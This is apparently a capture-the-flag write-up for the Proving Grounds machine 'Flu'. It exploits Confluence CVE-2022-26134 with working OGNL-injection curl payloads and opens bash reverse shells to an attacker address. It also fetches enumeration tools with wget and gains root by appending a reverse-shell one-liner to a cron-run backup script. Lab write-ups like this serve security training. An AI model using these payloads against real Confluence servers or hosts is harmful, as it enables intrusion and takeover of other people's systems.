Skip to content

Flu is an "Intermediate" rated Linux machine on Offsec's Proving Grounds. It is rated as "Intermediate" as well by the community. It suffers from a Confluence vulnerability that serves as a foothold into the system and can be rooted by taking advantage of a cron job run by root.


Enumeration

Start off with an nmap scan.

└─$ sudo nmap -A 192.168.121.41                

Screenshot

We see open ports 22 for SSH and 8090 for HTTP. Of note is the web port, which seems to be running Confluence.


Vulnerability Analysis

Port 8090 HTTP

Browsing to http://192.168.121.41 reveals this webpage.

Screenshot

We see that it is using Atlassian Confluence 7.13.6. There are no default credentials for this app, so password spraying is unlikely to succeed.

However, we can search for any vulnerabilities associated with this service.

After some research, we come across this article from Rapid7, which details an exploit to achieve RCE via curl requests, as denoted by CVE-2022-26134. CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server.


Foothold

We'll use a Proof-of-Concept curl to test out if this works by sending a whoami command to the machine. The request will be URL encoded. Use this tool if needed.

└─$ curl -v http://192.168.121.41:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

Screenshot

Looking at the X-Cmd-Response field, we can see that it succeeded and our current user is confluence, which is to be expected. Now, let's try for a reverse shell.

curl -v http://192.168.121.41:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.151/443%200%3E%261%27%29.start%28%29%22%29%7D/

For clarity, this is what the request looks like without URL encoding.

curl -v http://192.168.121.41:8090/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/192.168.45.151/443 0>&1').start()")}/

Our payload is embedded after the .eval statement, bash -i >& /dev/tcp/192.168.45.151/443 0>&1.

Screenshot

Be sure to have a nc listener.

└─$ nc -nlvp 443               

Screenshot

Success!


Foothold Enumeration

We can find local.txt in the home folder of the user confluence.

confluence@flu:/home/confluence$ cat local.txt

Screenshot

We could load up linpeas to try and enumerate the box some more. However, we didn't find anything that jumped out immediately besides this script file located in /opt: logbackup.sh.

Transferring over linpeas.sh:

└─$ python3 -m http.server 80  

On victim:

confluence@flu:/home/confluence$ wget http://192.168.45.151/linpeas.sh

Screenshot

Make linpeas.sh executable:

confluence@flu:/home/confluence$ chmod +x linpeas.sh

Run linpeas:

confluence@flu:/home/confluence$ ./linpeas.sh

Screenshot

Let's take a closer look at this script:

confluence@flu:/home/confluence$ cat /opt/log-backup.sh

Screenshot

This script is going to create a backup of Confluence log files, then delete any old backups. Fairly standard script. This could be a good candidate for PrivEsc. However, this script is owned by confluence, so even though we can modify the script, if we were to run it manually for a reverse shell, it would still be under the permissions of that user.

Using some deductive reasoning, we can assume this script is being run intermittently. Going back to our linpeas output, we see no indication from the crontab that any user has set up a cron job for this script. This is where we can use a tool called PsPy to take a look at hidden cron jobs that we would normally never see.

Let's transfer the binary over and run it.

└─$ python3 -m http.server 80
confluence@flu:/home/confluence$ wget http://192.168.45.151/pspy64s

And run:

confluence@flu:/home/confluence$ ./pspy64s

After a few minutes, we see that our script is being run by UID=0, which is the root user.

Screenshot


Privesc

Armed with this information, we can go back to our script, add a reverse shell one-liner, and wait for our callback.

confluence@flu:/opt$ echo '/bin/sh -i >& /dev/tcp/192.168.45.151/445 0>&1' >> log-backup.sh

Screenshot

Post Exploitation

Finally, we can grab Proof.txt.

# cat /root/proof.txt

Screenshot